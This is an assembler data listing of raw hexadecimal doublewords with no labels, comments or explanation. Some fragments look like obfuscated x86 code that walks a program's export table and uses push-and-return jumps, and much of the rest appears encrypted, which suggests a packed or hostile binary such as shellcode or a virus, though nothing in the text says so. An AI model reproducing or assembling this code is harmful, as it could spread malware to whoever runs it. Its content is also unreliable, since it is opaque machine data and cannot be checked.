		dd 0FF610607h, 700BD95h, 68C0F06h, 2B000000h, 730F185h
		dd 19D8906h, 6A060716h,	0B595FF00h, 8B060716h, 7509EBC0h
		dd 27B378Ch, 0E341C0DBh, 60EBh,	17h dup(0)
		dd 7DE90000h, 0E900000Bh, 0B71h, 0C76FE68h, 0C1CE906h
		dd 6068FFFBh, 0E9060C78h, 0FFFB0C12h, 0C78CE68h, 0C08E906h
		dd 0AF68FFFBh, 1400CEACh, 759B6947h, 0D83A08E6h, 3ED7A583h
		dd 0C8A43F1Dh, 7755060Fh, 10EE6DA9h, 0AC8AD142h, 4A2833DEh
		dd 2B0D9478h, 0B084D3DAh, 120437D6h, 681744CCh,	55C10F45h
		dd 0B75A2806h, 1500BEA4h, 0F7D96046h, 7C7EC76Ah, 9D9B5639h
		dd 22536DFh, 0E10457BEh, 0C4886B1Ah, 0A5E90C4Fh, 83C7EA71h
		dd 25E3C992h, 5496CEFh,	61284B10h, 0D014CFB2h, 6B301645h
		dd 6A803BE7h, 0EBCD5477h, 707EC85Eh, 0D94B7E2Dh, 657C0AF4h
		dd 0C70BC6A9h, 0A9ED104Bh, 8DD1F467h, 0A2B95787h, 49D0D0F3h
		dd 2E24AB91h, 0EA78BB20h, 8E71EA2Ch, 2AE8CE11h,	99371EAh
		dd 61E8CE14h, 78BB4083h, 569ABD00h, 6CEF23BBh, 500B0549h
		dd 8B7662Dh, 8C4ABB2Ah,	2CF0D388h, 0DA976E5h, 0FD74828h
		dd 29E35242h, 0DB88BD6Ch, 371Fh, 0A26F2D00h, 4871D6B9h
		dd 0DD7E92D7h, 0C34A612Eh, 7EC76AE1h, 783D2366h, 0AB94328h
		dd 13785B73h, 1004EB4Ah, 0A17B7E4Bh, 6BC0A229h,	2457EC7h
		dd 3A4CBA1Fh, 0E9000000h, 0D3888C4Ah, 37EF70F0h, 0E1C34A6Ah
		dd 597EC76Ah, 6A7661B3h, 40D80B4Bh, 743B5E0Dh, 0D24AF8C5h
		dd 3C6260Dh, 0E3C692A1h, 4BD24A7Eh, 7EC76B69h, 4C8ABEEh
		dd 7B7E4B10h, 9D148BAh,	0ACAF6523h, 8DC44BC9h, 0C978BF97h
		dd 3FE8CA51h, 2A6D78C0h, 6487CA47h, 0C0408157h,	1A610F78h
		dd 8FDCA0E5h, 1BFEBE4h,	48120000h, 0A0270DD5h, 7EC76BF6h
		dd 0A334743Bh, 0FF197EB5h, 28E92D50h, 4E65533h,	0AA684E0Dh
		dd 83CEF16Ah, 1C8671EDh, 0EFD28159h, 48280D8Ah,	52420FD7h
		dd 510A0CCAh, 1F84672Eh, 88BD6C29h, 481FDBh, 4A460000h
		dd 6B694BD2h, 0B0A07EC7h, 0BC1991F7h, 5336795Eh, 0C59248D3h
		dd 0B07C854Ah, 99DA341Dh, 0D24A2CB3h, 8CCF7EC7h, 0C2A42BA9h
		dd 477EC7D1h, 0EB4A3704h, 7E4B1004h, 31E3A17Bh,	4AE2472Ah
		dd 0F1D4878Ch, 2975h, 0D7481200h, 0FE64290Fh, 78085B05h
		dd 4A157A5Dh, 0C76AE1C3h, 4A30597Eh, 6B694BD2h,	0ABEE7EC7h
		dd 0EB4A63C8h, 7E4B1004h, 854ABA7Bh, 770E836Dh,	57D7BAE1h
		dd 0B33A20C6h, 7EC82B0Dh, 0A0E4074Ah, 9D0CEA71h, 0D2898C4Ah
		dd 0F1E62BEFh, 0C6A940C8h, 0EA6D1B47h, 484E87BAh, 0D3704B3h
		dd 0FC854A28h, 49B9D44h, 0B187B9ECh, 0FB5DAA5Ch, 28879818h
		dd 0C7CEBFA1h, 5201447Eh, 898C4A85h, 5E8AFD2h, 0D24A208Fh
		dd 0C76B694Bh, 0C8ABEE7Eh, 88BD6C29h, 4C1FDBh, 682D0000h
		dd 0B65EFE83h, 7B5DE4AAh, 7BC7A5h, 0C62B0EBDh, 420FD748h
		dd 6AE1C34Ah, 23667EC7h, 8A8C4A56h, 4E7AED1h, 10042786h
		dd 66ED654Bh, 7EC76B84h, 7EE3C609h, 30E3A17Bh, 8BD0AAA7h
		dd 0DD8C725Fh, 0AB10F3BAh, 4E4Ch, 0D748E900h, 8C4A420Fh
		dd 6BAFD289h, 2104B3A8h, 6B3A1CA3h, 89B27EC7h, 2D2EE5A3h
		dd 0FC17430Ah, 92753C5Fh, 848C4A2Dh, 0AEDB4D7h,	0A64F148Ch
		dd 6B4DD4B4h, 0F07EC857h, 667D7AADh, 440A588h, 0ED654B10h
		dd 0C76B8466h, 0E3C6097Eh, 4CBA7B7Eh, 0C3h, 0DD548E9h
		dd 6BF6A027h, 0F83B7EC7h, 31139A12h, 0B67EC76Bh, 91D59073h
		dd 8EFDDB80h, 8CE0854Ah, 0AFD28988h, 0EB81B5E8h, 0D23F03E6h
		dd 280DBC89h, 8492D748h, 525B28D7h, 52090CCAh, 2085682Fh
		dd 88BD6C29h, 4A1FDBh, 48460000h, 4A420FD7h, 0C76AE1C3h
		dd 0E99F667Eh, 754C189h, 11EA1DE4h, 0D8A554C9h,	694BD24Ah
		dd 0EE7EC76Bh, 0EB4AC8ABh, 0D6858C4Ah, 76E52FF3h, 9713CB90h
		dd 959FD0D4h, 0A17B4DB2h, 6BC0A229h, 2457EC7h, 304CBA1Fh
		dd 0E9000000h, 420FD748h, 6AE1C34Ah, 30597EC7h,	694BD24Ah
		dd 0EE7EC76Bh, 0C6957FABh, 0EB4A7EE3h, 694BD24Ah, 0EE7EC76Bh
		dd 0CA917FABh, 6AF123E7h, 4BA7B9Dh, 0E72B4E0Dh,	83512F2Ch
		dd 2D0F968Eh, 647EC76Bh, 975993F8h, 910BF084h, 0C78F280Ah
		dd 0BB6AAD7Eh, 4DCE90Ch, 727EC78Fh, 0EBA9BF04h,	470E312Ah
		dd 0EA71A064h, 58423F04h, 953D30A3h, 0A36E3CB2h, 0D74095B8h
		dd 5073E82Eh, 2E510A0Ch, 5FB007CFh, 209CBF4Bh, 9BD68589h
		dd 0F71AC4BBh, 5EB32BE7h, 642B4EFDh, 0D44DD7B5h, 1DA48091h
		dd 7EC7953Bh, 1FCE7DC0h, 0C17BB239h, 0F9B778BFh, 0FE164219h
		dd 0BAFD7A5Dh, 60FB16D4h, 0D893763Dh, 62F91CDAh, 895783Fh
		dd 78C06A32h, 96AD12C0h, 0E48FB2EFh, 0E972A15Fh, 0DB1CFFC6h
		dd 12h,	4E0D0402h, 6B3C1E2Bh, 44B27EC7h, 0ED6EA37Fh, 0D04A00Fh
		dd 6BAE9017h, 0F0337EC7h, 3B1E1E41h, 0E476FDE3h, 0E978BADAh
		dd 0DB3EC8A6h, 0E0A51D03h, 0B45F15F9h, 8ABD84A7h, 93BF0F6Ah
		dd 6AF7DA81h, 72B34633h, 0FD0A2D70h, 72B3EF27h,	0ACB007B5h
		dd 0EECBAD34h, 0D5072B3h, 2DFA8B2Ah, 2891EA9Ch,	0B8000000h
		dd 694BD24Ah, 0EE7EC76Bh, 0D548C8ABh, 0EEA0270Dh, 327EC76Bh
		dd 9ABD9E74h, 3073F0D3h, 0D7848C4Ah, 4D73F9h, 48100000h
		dd 8EEE89D5h, 0F84C73B3h, 36DC6349h, 727EC7BFh,	0BF9173FAh
		dd 56167EC7h, 0BEE9DBEh, 0AB8D148Eh, 2F7EC7BFh,	0C7BEC6A8h
		dd 23084B7Eh, 8D4B31E0h, 0A03D5483h, 0EA473FCh,	58809FA1h
		dd 5F0EBDE2h, 2A34F981h, 0C2EC762h, 4A0B7053h, 8FC2F285h
		dd 1B528F4h, 633366CAh,	0A925086Fh, 18Ch, 0BD34846h, 4A280D3Eh
		dd 6B694BD2h, 74EE7EC7h, 0C76B0BEDh, 9E4D907Eh,	411AF7BBh
		dd 29E35274h, 0DB88BD6Ch, 5A1Fh, 0D24A4600h, 0C76B694Bh
		dd 0EF6CA77Eh, 769BC70Ah, 9D8202E5h, 0ED104BC8h, 57BBF326h
		dd 0C78BA63Ch, 0C34A4B18h, 7EC76AE1h, 7F3D2366h, 0A9A7CA91h
		dd 0C76B4022h, 0D382C57Eh, 0EB4A8BF0h, 0B755854Ah, 237D36h
		dd 0A4B7591Dh, 4ABA7BD7h, 6B694BD2h, 0ABEE7EC7h, 404CC8h
		dd 48E90000h, 4A3E0BD3h, 8792EA85h, 2356A331h, 0FD1EBC45h
		dd 0EF6D50CBh, 0C7C38668h, 35450A7Eh, 3D8ED6E3h, 0E08610F3h
		dd 0F566AB33h, 0AD5C0BD2h, 4EB4AE0h, 4A824F0Ch,	28C54B85h
		dd 0EDD07395h, 0D04DFA0h, 280D814Eh, 420FD748h,	6C29E352h
		dd 1FDB88BDh, 52h, 878C4A46h, 0EE71F1D4h, 0E00358BBh, 6B795BE2h
		dd 0BBFE7EC7h, 4A905D0Ch, 0C76AE1C3h, 3D23667Eh, 94C7947Fh
		dd 62BA66FFh, 0BF2407EFh, 0D4878C4Ah, 0B2A96DB1h, 3619C88Fh
		dd 0CD7B40B8h, 789D96C9h, 0F962B4E0h, 1004B116h, 0BA7B7E4Bh
		dd 354Ch, 8C4AE900h, 6BAFD289h,	0C88FB2A9h, 3823ED19h
		dd 0EB6B4E15h, 4ADDAA70h, 31830DD2h, 45DF6060h,	0CBF3D562h
		dd 0C56B7EC7h, 26ED104Bh, 0EB4AAA77h, 7E4B1004h, 0F04BA7Bh
		dd 6D2B294Ch, 81DA3AA4h, 5E8975Eh, 0C76BA178h, 0FCC3ED7Eh
		dd 71E6F122h, 5C0CD03Ah, 0D20371E5h, 0DBCD4F9h,	58BA785Eh
		dd 3BAA2003h, 294C0F04h, 0A2D2EE5h, 0A27C434Bh,	750CEA71h
		dd 7EC777DEh, 0E45B078Dh, 9241C95Ch, 894CF98Bh,	0FE4F90DEh
		dd 3BB7FFFFh, 7EC76B65h, 0C7697CD2h, 6A08E97Eh,	0A77D7EC7h
		dd 147EC76Ah, 7EC76A3Eh, 0C769D5ABh, 97CA4F3Eh,	4A30DF7Ch
		dd 0BD623AC3h, 0D9FC3FB8h, 0F91D40D9h, 0C9783F62h, 7C9D5CE3h
		dd 97DAB2B6h, 0A96B2760h, 0BDB91AD7h, 30Ch, 68461502h
		dd 3E17A9Ah, 0A280DB35h, 3F1D3ED4h, 0D9B7A471h,	6CA92E3Eh
		dd 0D34311EFh, 37DCAA88h, 99784624h, 2E12E4C2h,	0D3E0C5A7h
		dd 0D1704A84h, 2B4E0D04h, 0AF0362Bh, 0BADAFD83h
		dd 0D9B7FA78h, 5F7F9351h, 0BB82A5B6h, 0C69C290Ch, 4278BAFCh
		dd 0FC6143CAh, 0A3E678BAh, 1D940C0h, 6D9A941Bh,	1C5F72AEh
		dd 1300BE36h, 8E715348h, 0B3F672AEh, 1CDA52D0h,	434164F7h
		dd 0AE8DDABCh, 6D1C5F72h, 104BC68Ah, 0B2A96C2Ah, 280A918Fh
		dd 0AD72AE8Eh, 848FBB6Ah, 0AEDB4D7h, 104BC694h,	492BB22Ah
		dd 0CE72AE8Eh, 0AAB15F8Bh, 22DDC087h, 0AE8E3715h, 72A8B172h
		dd 0FD77058Ch, 0B4746CA1h, 644AF962h, 1F8365ECh, 0C5086CA2h
		dd 6BA664E2h, 128A12F0h, 0A21FA98Bh, 8EB2E6Ch, 0D057CD44h
		dd 6CA21EEEh, 9B813073h, 0CB5B6AD6h, 9B814224h,	0A24A3214h
		dd 9174B76Ch, 9B43D6D6h, 0B99C2EB5h, 5EA16695h,	263B3Bh
		dd 4C9D931Ah, 94596089h, 853BA77Eh, 4224ABFFh, 0C7608A08h
		dd 67A9D584h, 270AD1F4h, 0C38167AAh, 612F0D4Eh,	7B88ABB0h
		dd 60891EA5h, 0AEAD6321h, 0E8CB9082h, 4329F168h, 7D5D36BCh
		dd 0CDF0335Ah, 5A0111CFh, 0D8D7037h, 61E8CE14h,	5475AA3Eh
		dd 0C8C90043h, 7935E984h, 1AA1C18h, 0B3640000h,	18FCCAA8h
		dd 79976543h, 0DC3604E2h, 42D3A17Fh, 0CCA03B19h, 73510A0Bh
		dd 0CEA71A5h, 0A886D53Eh, 462437DAh, 27099074h,	0AC84D3E3h
		dd 0D14833D2h, 169C2309h, 1378BADBh, 37AFADD0h,	0BAFBCEB0h
		dd 0FC60578h, 2B65CEA3h, 0A0200346h, 0BD7B61B9h, 0A3210457h
		dd 0B3A86D2Bh, 0CE7443D0h, 0AEF172B2h, 0AC492477h, 0C0BC1D17h
		dd 13Ch, 381645D2h, 0D3B1AA6Ah,	72500B05h, 0FED6EA4h, 0A987D441h
		dd 9C795E0Eh, 313E1BFh,	67AC7A58h, 0C94816F4h, 0FEE2B492h
		dd 0D3E39577h, 0A1401A84h, 2309D148h, 0BADB0E9Ch, 0C54B0B78h
		dd 9625DF12h, 0A15027EDh, 868BCFF2h, 0E829F7D5h, 8E3D1EF6h
		dd 0B3F66B6Bh, 47CEFA61h, 7B2AF114h, 203BD795h,	3E38BF3Dh
		dd 272AEA1h, 0A389D244h, 0AEC13A1Ch, 997CBF72h,	35F3D91Ch
		dd 21977AE1h, 0B89A2199h, 3D72AEC1h, 0C15317FAh, 4164F71Dh
		dd 1FEDCB7Ah, 0C6846AF1h, 27EE114Ah, 1200CE44h,	0DF9E6349h
		dd 5BB52Eh, 56E316DDh, 0DA5033E1h, 0DE7D9452h, 1579CCABh
		dd 0F0D3EE92h, 9472E92Ch, 2E0C4FC6h, 9321B660h,	1837082h
		dd 0FC5FB6E2h, 7D6312D9h, 49D054BFh, 72AF0C67h,	0C7FAA9ECh
		dd 4EEC3A0Bh, 46BC9F3Ah, 0D0E1F9BEh, 0BBDB5E82h, 5CFF14D8h
		dd 0FA61B07Eh, 93C84E1Ch, 0F0362BB5h, 4489830Ah, 8E4E6CA2h
		dd 85315186h, 0A6BC43F2h, 0E12548F7h, 0C74D2B30h, 24h
		dd 6A4CD34Bh, 0EF6CA180h, 4A64C9ACh, 6B694BD2h,	6EA77EC7h
		dd 99C508EDh, 0F8BFE279h, 8B496D15h, 8DF2D586h,	25481304h
		dd 82B30E1h, 0E90C4FC4h, 0C7EA71A5h, 0A6C99283h, 85A8B362h
		dd 678AD141h, 4B6EED23h, 2B4E0D07h, 0E389532Ah,	4C381h
		dd 0EB810000h, 4, 5C241C87h, 83242489h,	50042404h, 405E089h
		dd 2D000000h, 4, 5C240487h, 68243C89h, 28C9h, 56243489h
		dd 883F7EBEh, 0F6EE813Ah, 81492325h, 58AA24EEh,	8BF789EBh
		dd 0C4812434h, 4, 24348B54h, 5704C483h,	73C3BD55h, 6C011D48h
		dd 8F5D0424h, 6E810846h, 4873C308h, 2434FF1Dh, 4C4835Eh
		dd 5F2434FFh, 4C481h, 0B7E90000h, 0BEFFFB00h, 7A2FB8DFh
		dd 0C503060Ch, 13E8C38Bh, 8F000000h, 21BBA5CBh,	70B35397h
		dd 74B201C8h, 0AB09FE53h, 8B6614D3h, 66515ADEh,	0E815E381h
		dd 0B4C28159h, 0FC000066h, 1981BEh, 17810F00h, 0E9000000h
		dd 12h,	4C50E32Eh, 0FDF30719h, 0F15EBDA5h, 172A9F8Dh, 32FF6945h
		dd 58DF8B66h, 6E952h, 39870000h, 0F7AF260Dh, 14F0815Bh
		dd 0E8079E4Fh, 0Dh, 95153D04h, 8EEA26CEh, 432FE995h, 815FFC21h
		dd 0C8DC29F0h, 0C6C0816Bh, 511277D2h, 1880Fh, 59F50000h
		dd 1810F50h, 0FC000000h, 8B66028Fh, 4EA83CAh, 0DEB70F60h
		dd 3850Fh, 8B660000h, 0F4E61D7h, 0FFFF9985h, 3EF381FFh
		dd 8D02BD08h, 0C7C458Dh, 89F38B06h, 706798Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 81D5DE1h, 87BA075Ah,	79858B08h, 0C7060714h, 72CE585h
		dd 717806h, 0C75F5100h,	72D0585h, 6, 68A0F00h, 9000000h
		dd 727C18Dh, 0BDB5FF06h, 6A06072Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0FA9DC353h
		dd 0F995017Dh, 0FF060732h, 700BD95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0B731C262h
		dd 15880FD7h, 0E9000000h, 10h, 0A6BB048Eh, 6DA91A63h, 0A6ECA9BBh
		dd 0DB6A3ADEh, 95FF006Ah, 60716B5h, 4DEBC08Bh, 0BC8FA46h
		dd 3CAB9466h, 0A378596Ch, 20908F9Dh, 0F0B5082Eh, 26D6160Ch
		dd 1E58DAA2h, 0E5F720CFh, 0BE31ABB7h, 53547760h, 99E45DDEh
		dd 0AA83CA19h, 88271DE2h, 0A11354B7h, 0AA617D49h, 0EE1F0848h
		dd 0D7B8ECDBh, 47783D39h, 0E19FEA71h, 113E986h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 9BB8F0C3h, 52CDB37Eh, 0F90026Eh, 781h, 1880F00h, 0FC000000h
		dd 7D14B58Dh, 8160060Ch, 0BD26DBEEh, 0B740B91Bh, 8D617FD6h
		dd 0A4C7985h, 10E906h, 79630000h, 2FB6D54Ah, 303E6E56h
		dd 31FDE7C2h, 0D0FF6ED8h, 1820Fh, 0F8F90000h, 8A6060C3h
		dd 0F3F281D8h, 6124B727h, 8C6661F8h, 5E9D9h, 0FE5F0000h
		dd 0F92707Dh, 280h, 0F6616000h,	840F04C1h, 39h,	8BFB8BF5h
		dd 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h
		dd 1013F20h, 74C00B00h,	0C708D18h, 0CB8BFA8Bh, 490A75A6h
		dd 1B8FA75h, 0EB000000h, 0EB008B09h, 0B8E4h, 60CF0000h
		dd 0B3DE8166h, 8B666030h, 14E9CAh, 0ADA10000h, 30454CDCh
		dd 0F80455A3h, 1FDDD896h, 0FF63A16Dh, 6161B54Dh, 2850F60h
		dd 60000000h, 830F6161h, 9, 0FA8B6660h,	0BE7FB866h, 4B85C761h
		dd 3F060C7Dh, 0E9000101h, 266h,	0D98C6660h, 0F04C1F6h
		dd 3584h, 0FF016A00h, 71B2DB5h,	1F858D06h, 0FF060A7Bh
		dd 0ED8589D0h, 8B060721h, 0CEFC1FEh, 6000068h, 6A006A20h
		dd 0D685702h, 0FF000100h, 721ED95h, 32E906h, 85C60000h
		dd 6072C05h, 30DF6856h,	0B5FFA9C5h, 60731ADh, 7B1F858Dh
		dd 0D0FF060Ah, 5ED8589h, 858D0607h, 6071279h, 6A406A50h
		dd 95FF5605h, 60705EDh,	0C361h,	2 dup(0)
		dd 8B520000h, 428B60D4h, 3C858908h, 8B060C7Eh, 85890C42h
		dd 60C7E34h, 8910428Bh,	0C7E3885h, 72B58D06h, 8D060C7Eh
		dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 7E3CB58Bh, 858B060Ch
		dd 60C7E34h, 7E38BD83h,	0F00060Ch, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 60C7E3Ch, 7EC3B58Dh
		dd 858D060Ch, 5B8EA1h, 5A61D0FFh, 7E3C858Bh, 4C2060Ch
		dd 3C858B00h, 8B060C7Eh, 3C858900h, 0CF060C7Eh,	0
		dd 99B58960h, 89060C7Eh, 0C7E9585h, 0C9858D06h,	8B060724h
		dd 85894440h, 60C7ED2h,	7F08B58Dh, 858D060Ch, 5B8EA1h
		dd 8B61D0FFh, 0C7E9985h, 9D8BC306h, 60C7E95h, 3C43B70Fh
		dd 5B8BD803h, 959D0378h, 8B060C7Eh, 0B5032473h,	60C7E95h
		dd 207B8B56h, 31C738Bh,	0C7E95BDh, 95B50306h, 0FC060C7Eh
		dd 41FFC983h, 7E999D8Bh, 178B060Ch, 7E959503h, 0C783060Ch
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 7E958503h, 8589060Ch, 60C7E99h, 0CE8BF08Bh
		dd 0BD81C18Bh, 60C7ED2h, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 0C7ED2BDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	60C7ED2h, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 0C7ED2BDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 60C7E40h,	1AA98589h
		dd 858D0607h, 60C7ED6h,	0FBD8589h, 858D0607h, 60C7E9Dh
		dd 15F58589h, 125C0607h, 0BE2E1FF2h, 629C2BD6h,	7033F294h
		dd 344B0680h, 717C7AFCh, 8495FC2Dh, 8451816Eh, 0F0603310h
		dd 4A8D180h, 896E1D84h,	32F112A0h, 0B9FE3C2Ch, 5EBD332Dh
		dd 3736662Dh, 146F332Dh, 0BDEAF070h, 0B5DF1741h, 2FE91769h
		dd 71F6332Dh, 36B3F078h, 0DB84BA77h, 0B5B8A8F4h, 0DDD2BFCAh
		dd 34B73326h, 0A51DB69Eh, 2AB49905h, 8D1A38B3h,	1C529E1Bh
		dd 34BEE5C4h, 66DE592Dh, 346F30C5h, 0F7ED132Dh,	108FBA77h
		dd 10A9B229h, 34F62729h, 0F729712Dh, 3A3D3C30h,	0DDDE332Dh
		dd 346F3324h, 0F5B8F8E4h, 71F9A3CCh, 34F9DA9Bh,	5CA1332Dh
		dd 39D3EB36h, 0BC866E32h, 756CEFE6h, 5EF47730h,	0C53D867Fh
		dd 34828EAEh, 3BED352Ah, 34F601A9h, 0CFF0552Dh,	34BD3BC4h
		dd 0A0FDDC2Dh, 2778FB9Bh, 37DEDAB7h, 0DDBB332Dh, 34ED3320h
		dd 9DB0C991h, 611C8ECh,	1D6990CCh, 9800B2ABh, 550919DDh
		dd 0B908FEADh, 385B5BA8h, 73B8D2Bh, 0DC6604DCh,	347B3325h
		dd 3646EA22h, 7B802076h, 346F3BC4h, 5CDE352Dh, 0A2D61AE0h
		dd 0DCBD6AF6h, 34F6332Bh, 73DD2408h, 3BDDBC72h,	34DE33AFh
		dd 0E7E4552Dh, 52276C4Ch, 0B92EE4A6h, 386D79A8h, 3B0F532Bh
		dd 347B31A1h, 554AB92Dh, 34D5DABDh, 2A8F332Dh, 0A24D5FAAh
		dd 0A4B22DC7h, 86BB6357h, 3B666AF4h, 347B31A8h,	0CB6CB82Dh
		dd 33C7A6B8h, 676F592Bh, 34B730C5h, 0F780132Dh,	10B1BA76h
		dd 10B2B229h, 347B2B29h, 0F7EE702Dh, 0D7892CBh,	0BF398533h
		dd 0B767B8EDh, 33D4C690h, 3D98332Bh, 4F78EAEh, 407B352Ah
		dd 0BFEE6334h, 30A48BEDh, 0B1E6332Dh, 32B03AF8h, 987CAEA0h
		dd 0E7123524h, 89756B76h, 327C032Ch, 64AA472Dh,	30A48B7Eh
		dd 0B1E6332Dh, 32B03AF8h, 9D4DAEA0h, 0E7123524h, 349C6B76h
		dd 3478DB7Eh, 6F9D332Dh, 685768EEh, 70EE3709h, 34A13709h
		dd 6798332Dh, 0CB22F0EEh, 62D5F5ACh, 3411108Dh,	34BEDB7Dh
		dd 6CFE332Dh, 70E66BEEh, 70363709h, 34C33709h, 64AD332Dh
		dd 919CF7EEh, 0B51D2C09h, 0BF20BCE2h, 62DE59EDh, 346F30C5h
		dd 0F7E9132Dh, 10AFBA73h, 10A9B229h, 34F62929h,	0F72D752Dh
		dd 8342FE23h, 0B9677A68h, 38EF61B0h, 0C7083C2Bh, 4815B6A0h
		dd 3B053521h, 0B8F6332Dh, 71B05C3Fh, 0C1DE4428h, 364ABCECh
		dd 8E092903h, 0CBE83901h, 76555FDh, 1434B2E7h, 3FF2FB82h
		dd 56FF3CEDh, 65BD332Dh, 0B981DDA7h, 33212FB0h,	63B7592Bh
		dd 34DB30C5h, 0F7B2132Dh, 108ABA72h, 103FB229h,	34BD2829h
		dd 0F789742Dh, 6997E202h, 7A5E2183h, 52158422h,	0F9E2D5ACh
		dd 34F63095h, 637B592Dh, 34BD30C5h, 0F781132Dh,	1013BA72h
		dd 10F3B229h, 34DB2B29h, 0F7BA742Dh, 2C4B5484h,	0B598CCCDh
		dd 857629E2h, 6E43BE5Ch, 3B693FADh, 34B730ADh, 0CD6C3C2Dh
		dd 4823B6A0h, 0BF903521h, 3FABCCD3h, 6E393CEDh,	5EDE332Dh
		dd 3787662Dh, 14B7332Dh, 0BD86F070h, 0B5E91741h, 20F21769h
		dd 717B332Dh, 524DF078h, 3B8CCAA6h, 346F30A2h, 0CD083C2Dh
		dd 2846BE77h, 3BEB3463h, 34F63EABh, 0B074532Dh,	34BD332Dh
		dd 0E4D0F996h, 8B605252h, 34B68BD2h, 3132332Dh,	0A7ED332Dh
		dd 0F547166Eh, 0CBB4B84Bh, 6B20BECEh, 5ED83FADh, 3787612Dh
		dd 14B7332Dh, 0BD81F077h, 0B5E91779h, 2FF21769h, 767B332Dh
		dd 3875F07Fh, 1CBABB63h, 3D866B2Ah, 42B7332Dh, 0EE61632Ch
		dd 2671776Dh, 4838B6A0h, 34113521h, 34BEDB7Bh, 6AFE332Dh
		dd 40E66DEEh, 70363709h, 34CD3709h, 62AB332Dh, 1422BFEEh
		dd 0FDB4B24Bh, 3B6DCCBAh, 0F4D5E292h, 3402B722h, 0B4D7332Dh
		dd 83D46EC8h, 0BF8B52D5h, 286BBED6h, 527D3463h,	0E4B6F1ACh
		dd 34DE3095h, 616F592Dh, 34B730C5h, 0F786132Dh,	1081BA70h
		dd 10B2B229h, 347B2A29h, 0F7E8762Dh, 604ED0C3h,	0BC609167h
		dd 34B7333Bh, 34CBBA22h, 3E05332Dh, 0ACF6332Dh,	4C2CBCB7h
		dd 0EB6C3FACh, 0D7216A4Ah, 3462B022h, 3C5E332Dh, 0CDDB332Dh
		dd 0DCBC9226h, 77181839h, 0DC2A3347h, 34BD332Eh, 6D1D6A0Dh
		dd 304B7FA4h, 309377ACh, 34DB3331h, 0C12E626Ch,	1516FCF3h
		dd 0A9AA49E3h, 8930FBA7h, 32D2B365h, 0B0B7BEA0h, 490F3521h
		dd 7517871h, 33DDDAA8h,	0F539182Bh, 43BE31C4h, 693FAD6Eh
		dd 0B730AD3Bh, 6C3C2D34h, 23B6A0CDh, 90352148h,	0E983D3BFh
		dd 8BA4F305h, 0F0BF0FC0h, 13E8h, 3E133B00h, 2742BE83h
		dd 7302A3A7h, 656B5238h, 9444F8F2h, 3880Fh, 8B660000h
		dd 0F5759D0h, 8Bh, 0C38B5900h, 8BCA8B66h, 0F5BD83C0h, 6070Fh
		dd 0BD830975h, 6073001h, 50197400h, 0B8C08B53h,	47Ah, 265D8589h
		dd 9D8D0607h, 609AD0Eh,	585BD3FFh, 3001BD83h, 74000607h
		dd 0B8535017h, 47Ah, 265D8589h,	9D8D0607h, 609A9AFh, 585BD3FFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E6C35545h
		dd 69CA5FDCh, 0F9E7CE84h, 0E28166F7h, 0AE992BEh, 54000000h
		dd 2E896999h, 906F9157h, 73EA8040h, 9E8C08Bh, 0CA000000h
		dd 4E81AAA0h, 4A3ABEABh, 3850Fh, 0C9800000h, 81665BBFh
		dd 81BA5DE9h, 58F0C3h, 13E900h,	0B2580000h, 5E297CA5h
		dd 3C7D9205h, 1B04EE7Eh, 7D584FE4h, 0AF8BE3Ah, 0F68128E3h
		dd 28E31CEEh, 8B0F33FFh, 3, 5ADCC080h, 0EA81DEB4h, 448D5839h
		dd 0C8C0Fh, 890F0000h, 6, 8B0Fh, 0C2810000h, 48A0ACE8h
		dd 6E08166h, 4CC28103h,	8B2E41BDh, 0B70F52F9h, 0F038FCFh
		dd 0EB83FABFh, 0E786B901h, 4B4B24C8h, 1EE814Bh,	0F000000h
		dd 0FFFFA785h, 8DC38BFFh, 0C87618Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 24D7A52h, 128A0Fh
		dd 820F0000h, 0Ch, 7E9h, 245F600h, 98C502B5h, 6798D89h
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0B61F20C3h, 699D0BF1h, 0C7060706h, 72CE585h
		dd 658406h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 3F5BEE9Fh, 9EB7BBCFh
		dd 18D2B60h, 0F5060701h, 585C761h, 6072Dh, 81000000h, 7EBD56E3h
		dd 45B5FF5Eh, 6A06071Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0F44C357h, 0B529F3BFh
		dd 6071B61h, 0BD95FFh, 6A0607h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0D643AEC3h, 830F2AE9h
		dd 0
		dd 95FF006Ah, 60716B5h,	2DEBC08Bh, 0CF145C9Fh, 0F0A2D446h
		dd 3AB9CBD3h, 0E549398Bh, 0F598E6A9h, 1A17C968h, 0BFE8F2F5h
		dd 495EC5C0h, 7828DFACh, 9019AF08h, 0FB08C4CAh,	378D8D83h
		dd 66060C88h, 0B878D081h, 6798D89h, 0BB660607h,	85C70511h
		dd 6072CE5h, 621Ch, 0C7B9F080h,	72D0585h, 6, 57006A00h
